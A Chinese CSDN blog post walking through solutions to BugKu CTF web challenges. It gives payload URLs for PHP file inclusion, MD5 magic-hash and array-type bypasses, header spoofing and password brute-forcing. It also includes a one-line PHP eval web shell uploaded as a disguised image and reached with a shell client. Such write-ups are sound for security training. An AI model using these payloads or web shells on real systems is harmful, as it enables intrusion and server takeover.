CTF BugKu平台———(Web篇②)

本文详细介绍了多种Web安全漏洞,如URL编码、文件包含、MD5碰撞、密码爆破、XSS和CSRF等,并给出了相应的payload示例和防范措施。通过实例解析了如何利用和防御这些漏洞,帮助提升Web安全意识。
摘要由CSDN通过智能技术生成

源代码:

在这里插入图片描述
unescape编码:https://tool.chinaz.com/Tools/Escape.aspx

PS:p1+‘%35%34%61%61%32’ + p2 然后提交即可

67d709b2b54aa2aa648cf6e87a7114f1
在这里插入图片描述

文件包含:

在这里插入图片描述

file=php://filter/read=convert.base64-encode/resource=index.php  #构造pyload

在这里插入图片描述

好像需要密码:

在这里插入图片描述
bp爆破密码:12468
在这里插入图片描述

备份是个好习惯:

在这里插入图片描述
在这里插入图片描述

有一串字符串 提示给的是备份 那就是找bak文件 尝试 index.php.bak 下载下来一个文件

在这里插入图片描述

大概的意思是将get的两个参数中的key替换为空,然后对key1,key2的值进行md5加密,
如果md5加密的值一样而未加密的值不同,就输出flag.

MD5绕过:
下列的字符串的MD5值都是0e开头的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

pyload:http://114.67.175.224:10088/?kekeyy1=QNKCDZO&kekeyy2=240610708
在这里插入图片描述

shell:

在这里插入图片描述
在这里插入图片描述

cookies:

http://114.67.175.224:18865/index.php?line=&filename=a2V5cy50eHQ=

line : 可能是个列的参数意思 “a2V5cy50eHQ=” base64解码得到 “keys.txt”

在这里插入图片描述
在这里插入图片描述

前女友:

F12 查看源码发现了一个code.txt
在这里插入图片描述

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

大概的意思就是v1不等于v2,v1和v2的md5相等,strcmp是比较字符串(区分大小写),v3不等于flag。
payload:http://114.67.175.224:10561/?v1[]=1&v2[]=2&v3[]=1
在这里插入图片描述

你从哪里来

在这里插入图片描述
直接bp抓包伪造refererReferer:https:www.google.com
在这里插入图片描述

MD5:

在这里插入图片描述
让我们输入一个a 然后输入:s155964671a (考的MD5碰撞,网上有很多随便找一个即可。)
在这里插入图片描述
在这里插入图片描述

程序员本地网站:

在这里插入图片描述
直接bp抓包 然后添加一条:X-Forwarded-For: 127.0.0.1 即可获取flag。
在这里插入图片描述

各种绕过哟:

在这里插入图片描述

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}
?>

大概就是使uname的sha1和值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等。
payload:http://114.67.175.224:12978/?uname[]=1&id=margin

在这里插入图片描述
在这里插入图片描述

file_get_contents:

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

方法1:代码审计一下 使用php://input伪协议绕过(需要抓包)
方法2 :根据if($ac === $f),构造?fn=flag.txt,&ac=bugku,最后得到flag
payload:http://114.67.175.224:16481/?&ac=bugku&fn=flag.txt
在这里插入图片描述
在这里插入图片描述

需要管理员:

在这里插入图片描述
使用御剑扫一下后台:robots.txt 访问一下看看 然后定义了一个传入的参数x,但是并没有告诉这个x应该是什么值 提示是管理员试一下是不是admin 构造payload:http://114.67.175.224:15572/resusl.php?x=admin
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
flag{7e69cdda3cf5c4dc101497149af576a8}

文件包含2:

在这里插入图片描述
先F12看一下源码 发现了一个upload.php 传一句话密码格式改为jpg 然后使用bp进行修改 最后菜刀连接
在这里插入图片描述
在这里插入图片描述

<script language="php">@eval($_POST[pass])</script>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
找了一下flag 在/根目录下 :flag{994b40acc26842efb530b6fbc99112b0}
在这里插入图片描述

getshell:

在这里插入图片描述

具体可以看这篇,因为工具需要会员
在这里插入图片描述

至此web篇就先跟新到这里了 最近比较忙没时间肝了,希望对大家有所帮助感谢大家!!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

落寞的魚丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值